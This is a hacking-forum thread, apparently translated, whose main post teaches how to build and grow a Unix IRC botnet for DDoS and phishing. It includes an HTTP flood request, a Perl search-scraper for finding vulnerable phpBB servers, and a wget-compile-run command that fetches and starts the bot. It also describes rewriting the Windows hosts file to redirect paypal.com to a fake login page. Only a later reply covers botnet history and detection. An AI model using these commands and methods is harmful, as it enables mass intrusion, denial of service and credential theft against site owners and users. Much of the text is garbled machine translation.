Create your own botnet.

[Forum Library]

Security systems are constantly improving, programmers will melt more skilled. Now it is supposed ever less widely known errors.

[Prologue]
The Internet grows with great force. It becomes more difficult for hacker to search for vulnerabilities. Administrators use for working developments of best security experts. See your thoughts? Actually on the Internet a lot of bags, but usually it’s useless. Here, imagine a situation, you were got by any network mongrel, you wish him to be punished. Today we will talk about creation own botnet.

So that is the bot. Uninitiated person images stupid enemies in computer games which you shoot down for two minutes. Yes, it’s partly so. In our case "bot" is a program which executes included in it commands. Seems nothing especial. Someone will object: "I supposedly in five years have written such thing, press a button and the program, olja-lja, is closed" - forget the childhood. All of us know that possibilities of coding are boundless, and you can use it for good and harm. Of course we always use our workings out with good intentions. Botnet is a set of bots connected in the centre which synchronously execute commands of the owner. Bots, by the way, basically are aimed more on Windows cars. Here you can stea; passwords, make socks, format hard disk. I will depart from rules and I will tell how to create botnets from nix systems. Basic function of our boat - is DDOS attacks. It’s the best way to use big channels of nix servers. Let’s count. Server you need to make down uses 100Mb channel. So 10-20 bots standing on the same channel will fill up a server in a moment.


[Writing a bot]
You will find listing of example of bot in the link at the end of article. So let’s see the code. You can control your botnet by IRC or web. The control through IRC has been chosen fir its interactivity. For example I want to root by local kernel sploits a couple of servers in botnet. I just simply execute command SH uname – and by bot I’ll find the computer I need in a moment. Then also having executed a command in IRC the client, I will load backdoor and I’ll receive an interactive shell for the further actions. Possibilities are boundless. You’ll say – it’s possible and through WEB, but what for to reboot a page and to spend the traffic? More convenient to observe all in real time (if there arre 1000 bots or more, it is possible will take care of convenience of the interface - a comment of sensible mind). A lot of people think that organization of DDOS-attack is very difficult. Here an example of code of usual attack:

GET /server.org HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Windows 5.2 i686)\r\nHost: server.org:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n

So we simply send inquiry to a server forcing it’s answer. And we send it till the server will be down from shortage of the traffic or processor time. But you can’t use only nix bots, it is necessary to create and windows-botnet, for example, with AgoBot. For this purpose it will be possible to create a certain code for a bot which to scan on a subject lsasl/dcom vulnerability systems which connect to a server which the bot is established on.


[Creating botnet]
Actually to create botnet is very easy. For this purpose we need to find vulnerability in any web script. Founded vulnerability must allow to execute commands shell-interpretation . When you will find vulnerability, pay attention to the name of a file with bug, its header and the name of vulnerable system. Now, by this data, we need to make good search inquiry. For example, take all known vulnerability in phpBB <=2.0.10. The file’s name - viewtopic.php, a variable showing on meaning of forum’s topic - t. So the search inquiry will be like "Powered by phpBB AND viewtopic.php? t =". More reasonably and easier you will make inquiry - more vulnerable servers will fall into your trap. Each search server has unique language of inquiries, so esteem its description before making inquiry. Now it is necessary to automate all it. On Perl we’ll make such sending of inquiry:

$sock = IO::Socket::INET->new(PeerAddr=>"search.aol.com",PeerPort=>"80",P ro to=>"tcp") or next;
print $sock "GET /aolcom/search?q=viewtopic.php%3Ft%3D7&Stage=0&page=$n HTTP/1.0\n\n";
@resu = <$sock>;
close($sock);

Further, we do filtration of results and run exploit. Exploit must execute a command of start of our bot.

wget http://_server.org/bot.c; gcc bot.c-o bash; chmod +x bash;./bash;

Here we can see too problems. Wget and gcc can not appear or their using can be forbidden. Here downloaders fetch, curl and get will help us. Or console browser lynx or ftp protocol. But it’s realization is more difficult – but plus is tha ftp is everythere. As to compillator you can just make binary on your shell and hope that all will be ok ). Or rewrite bot on interpretated languages – Perl or PHP.

Phishing
It’s very convenient to use bot for phishing organization. We need special optimized pages (which is copying an original site we need), good hosting, or dedicated server or VDS. You can find such pages in the internet or buy or make it by yourself. Mainly it’s copies such sites as paypal.com, moneybookers.com or smth like thos connected with money. Further windows-bot copies a file \system32\drivers\etc\hosts adding to ip IP address of your server and connected it with needed domain name for eample paypal.com. And when user types in his browser paypal.com he see your page on your server – he types login and password there and then it logged in place you need. But if user uses proxy server it won’t work.

 

[Ougi]

Great info, warning IRC is not stable .

 

[alibaba]

а на русском не будет?

 

[Forum Library]

alibaba, большинство статей переведены мной с русского и есть в русских разделах. Впредь прошу не писать по русски в англоговорящих разделах, людям, не знающим русского, это будет досаждать.

 

[BaNDiToS]

отличный ответ)

 

[wikIlluminatiEncyclopediA]

this good details informations manual to newcomers

 

[Jollier]

Botnet basics

Botnet - a computer network consisting of a certain number of hosts with running bots-standalone software. Most often, a bot in a botnet is a program that is secretly installed on the victim's device and allows the attacker to perform certain actions using the resources of the infected computer. They are usually used for illegal or frowned upon activities such as sending spam, brute-forcing passwords on a remote system, mining cryptocurrencies, or DDoS attacks.

History of the origin of bots
Initially, bots were created to help manage IRC channels. Administration of channels in the IRC network can take a long time, so administrators created special bots that helped manage the operation of popular channels. One of the first such bots was Eggdrop, written in 1993.

Over time, IRC bots have been used for malicious purposes. Their main task was to attack IRC servers and other users in IRC networks. This made it possible to perform DoS attacks. The use of bots helped hide the attacker, since the packets were sent from the bot, and not from the attacker's computer. You can also group multiple infected computers to organize DDoS attacks. Large networks of bots were required to attack large targets. Therefore, the attackers started using Trojans and other hidden methods to increase the number of infected computers on the network.

Modern bots are different hybrids of threats integrated into the management and control system. They can spread like worms, hide from the operating system like most viruses, and include various attack methods. Another serious problem is that several people take part in the creation of modern bots at once. Thus, several different variants of the same bot appear, which makes it difficult for antivirus programs to recognize them.

How is a botnet created?
Creating a botnet begins with downloading a special bot program (for example, IRCBot, SGBot, or AgoBot) with embedded malicious code to the computer of an unsuspecting user who has opened a malicious file installed from an insecure source. After installing a special program and malicious code, the infected computer connects to the server that the attacker has configured as a control system for transmitting commands to the botnet.

Using the control system, an attacker can periodically inject new malicious code into a program installed on infected computers. The control system can also be used to modify the code of the malicious program itself to prevent detection of the latter by using signatures or implementing new commands and attack vectors.

Detecting a bot infection on your computer
Most often, detecting bots on the device is difficult because the bots work completely independently without the user's participation. However, there are several signs that are proof of the presence of a bot infection on your computer:

• IRC traffic (since botnets use IRC channels for communication);
• Connections to servers detected as part of botnets;
• High outgoing SMTP traffic;
• Multiple computers on the network running the same DNS queries;
• Slow computer operation;
• Heavy CPU or video card load;
• A sharp increase in traffic, especially on ports 6667 (used for IRC), 25 (SMTP port), and 1080 (used by proxy servers);
• Suspicious outgoing messages that were not sent by the user;
• Problems with Internet access.

First line of defense – antivirus
Turning your computer into a "zombie" is associated with malware infection. So first scan your computer with an antivirus program. It must be updated, and the scan must cover the entire computer, not just the system files and user profile.

The second line of defense is the firewall
A firewall isn't just used to protect against intruders. It can be used to block Internet traffic at our discretion.

First of all, when we think that our computer is zombified, but the antivirus did not detect anything, it is worth taking a little time to analyze its behavior. The Firewall protection level should be set to maximum, and you should also enableInteractive mode, so that any connection attempts are detected.

Network activity is also monitored and recorded in logs, which can then be safely viewed. As we eliminate processes that don't work properly, the comfort of using your computer will return to its original state.